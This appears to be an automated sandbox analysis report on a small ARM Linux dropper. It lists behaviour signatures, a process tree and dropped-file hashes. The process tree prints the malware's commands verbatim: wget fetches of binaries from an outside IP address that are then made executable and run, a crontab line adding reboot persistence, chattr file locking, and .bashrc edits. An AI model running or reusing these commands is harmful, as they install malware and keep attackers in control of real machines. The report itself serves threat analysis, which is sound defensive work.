Analysis

  • max time kernel
    147s
  • max time network
    9s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/07/2026, 04:07

General

  • Target
    35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
  • Size 1KB
  • Sample260716-eplzvacx5k
  • SHA256 35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
    /tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/uname
      uname -m
      2⤵
        PID:649
      • /usr/bin/basename
        basename http://103.79.185.121/arm7891
        2⤵
          PID:654
        • /usr/bin/wget
          wget -q http://103.79.185.121/arm7891 -O arm7891
          2⤵
          • Writes file to tmp directory
          PID:659
        • /bin/chmod
          chmod +x arm7891
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/arm7891
          ./arm7891
          2⤵
          • Deletes itself
          • Creates/modifies environment variables
          • Modifies Bash startup script
          • Changes its process name
          • Reads runtime system information
          PID:697
          • /bin/sh
            sh -c -- "set +m 2>/dev/null"
            3⤵
              PID:699
            • /bin/sh
              sh -c -- "unset jobcontrol 2>/dev/null"
              3⤵
                PID:700
              • /bin/sh
                sh -c -- "chattr +i /root/.bash_64 2>/dev/null"
                3⤵
                  PID:703
                  • /usr/bin/chattr
                    chattr +i /root/.bash_64
                    4⤵
                      PID:705
                  • /bin/sh
                    sh -c -- "sed -i '/bash_64/d' /root/.bashrc 2>/dev/null"
                    3⤵
                      PID:706
                      • /bin/sed
                        sed -i /bash_64/d /root/.bashrc
                        4⤵
                        • Reads runtime system information
                        PID:708
                    • /bin/sh
                      sh -c -- "sed -i '/pulse/d' /root/.bashrc 2>/dev/null"
                      3⤵
                        PID:710
                        • /bin/sed
                          sed -i /pulse/d /root/.bashrc
                          4⤵
                          • Reads runtime system information
                          PID:712
                      • /bin/sh
                        sh -c -- "sed -i '/disown/d' /root/.bashrc 2>/dev/null"
                        3⤵
                          PID:716
                          • /bin/sed
                            sed -i /disown/d /root/.bashrc
                            4⤵
                            • Reads runtime system information
                            PID:717
                        • /bin/sh
                          sh -c -- "(crontab -l 2>/dev/null | grep -v '/root/.systemd-private'; echo \"@reboot nohup /root/.systemd-private >/dev/null 2>&1 &\") | crontab -"
                          3⤵
                            PID:720
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:724
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:725
                            • /bin/grep
                              grep -v /root/.systemd-private
                              4⤵
                                PID:726
                            • /bin/sh
                              sh -c -- "nohup /root/.systemd-private >/dev/null 2>&1 &"
                              3⤵
                                PID:730
                            • /bin/rm
                              rm -f arm7891
                              2⤵
                                PID:734
                              • /usr/bin/basename
                                basename http://103.79.185.121/arm57891
                                2⤵
                                  PID:737
                                • /usr/bin/wget
                                  wget -q http://103.79.185.121/arm57891 -O arm57891
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:740
                                • /bin/chmod
                                  chmod +x arm57891
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:775
                                • /tmp/arm57891
                                  ./arm57891
                                  2⤵
                                    PID:776
                                  • /usr/bin/basename
                                    basename http://103.79.185.121/arm67891
                                    2⤵
                                      PID:777
                                    • /usr/bin/wget
                                      wget -q http://103.79.185.121/arm67891 -O arm67891
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:778
                                    • /bin/chmod
                                      chmod +x arm67891
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:779
                                    • /tmp/arm67891
                                      ./arm67891
                                      2⤵
                                        PID:780
                                      • /usr/bin/basename
                                        basename http://103.79.185.121/arm77891
                                        2⤵
                                          PID:781
                                        • /usr/bin/wget
                                          wget -q http://103.79.185.121/arm77891 -O arm77891
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:782
                                        • /bin/chmod
                                          chmod +x arm77891
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:783
                                        • /tmp/arm77891
                                          ./arm77891
                                          2⤵
                                            PID:784
                                          • /bin/rm
                                            rm -f /tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
                                            2⤵
                                              PID:785
                                          • /usr/bin/nohup
                                            nohup /root/.systemd-private
                                            1⤵
                                            • Executes dropped EXE
                                            PID:732
                                          • /root/.systemd-private
                                            /root/.systemd-private
                                            1⤵
                                              PID:732
                                            • /usr/bin/nohup
                                              nohup /root/.bash_64
                                              1⤵
                                              • Executes dropped EXE
                                              PID:738
                                            • /root/.bash_64
                                              /root/.bash_64
                                              1⤵
                                                PID:738

                                              Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

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                                                    Downloads

                                                    .bash_logout

                                                    • Path /root/.bash_logout
                                                    • Size 19B
                                                    • SHA256 deddc34cf712157cd887b6044f137e778431570fbabe892fedeb67314b1fa69c
                                                    • MD5 SHA1 SHA512

                                                    .bash_profile

                                                    • Path /root/.bash_profile
                                                    • Size 45B
                                                    • SHA256 8b8e8b0619529d92dce796b51caa270d7cd491dc76428719dda9ac67e7040e26
                                                    • MD5 SHA1 SHA512

                                                    .bashrc

                                                    • Path /root/.bashrc
                                                    • Size 723B
                                                    • SHA256 3e3f386165827945ac09091d911580b173b2075ea1453bceff19ea0a7dca478d
                                                    • MD5 SHA1 SHA512 TLSH

                                                    .systemd-private

                                                    • Path /root/.systemd-private
                                                    • Size 56B
                                                    • SHA256 8e95f444926abcd0ed09458519f9561a10eea24eb8d914d27cb56f5e76fba705
                                                    • MD5 SHA1 SHA512 TLSH

                                                    sedNkqONV

                                                    • Path /root/sedNkqONV
                                                    • Size 570B
                                                    • SHA256 41f1685d04031d88891dea1cd02d5154f8aa841119001a72017b0e7158159e23
                                                    • MD5 SHA1 SHA512 TLSH

                                                    bot.pid

                                                    • Path /run/bot.pid
                                                    • Size 4B
                                                    • SHA256 547c5695f7bdae0c49c994d1b9afc0234dfaaa6905b91f4b9e4ad55088a5052b
                                                    • MD5 SHA1 SHA512

                                                    arm57891

                                                    • Path /tmp/arm57891
                                                    • Size 623KB
                                                    • SHA256 3183322f5d0c4abd219b1ef3992caf78e4eee4aa814f111d282a08495830a4dd
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    arm67891

                                                    • Path /tmp/arm67891
                                                    • Size 623KB
                                                    • SHA256 bdf891511702284916c8479c60d36a4fe0f81c6f8f1fc6382800b316fc6d76ac
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    arm77891

                                                    • Path /tmp/arm77891
                                                    • Size 607KB
                                                    • SHA256 885eedb41d5008249366afbedb69879cb793555ed0594b9bfa7f61f0cecfb0c6
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    arm7891

                                                    • Path /tmp/arm7891
                                                    • Size 623KB
                                                    • SHA256 fc6e85c81f2979da0fbfde20e92d4e096ef657398d2ab04a28e873cccb06db63
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    tmp.PdEPCh

                                                    • Path /var/spool/cron/crontabs/tmp.PdEPCh
                                                    • Size 230B
                                                    • SHA256 99d99fbd0cd5b621c5996d9e7299287a2904049bef266efe0ed918d1a77ca155
                                                    • MD5 SHA1 SHA512 TLSH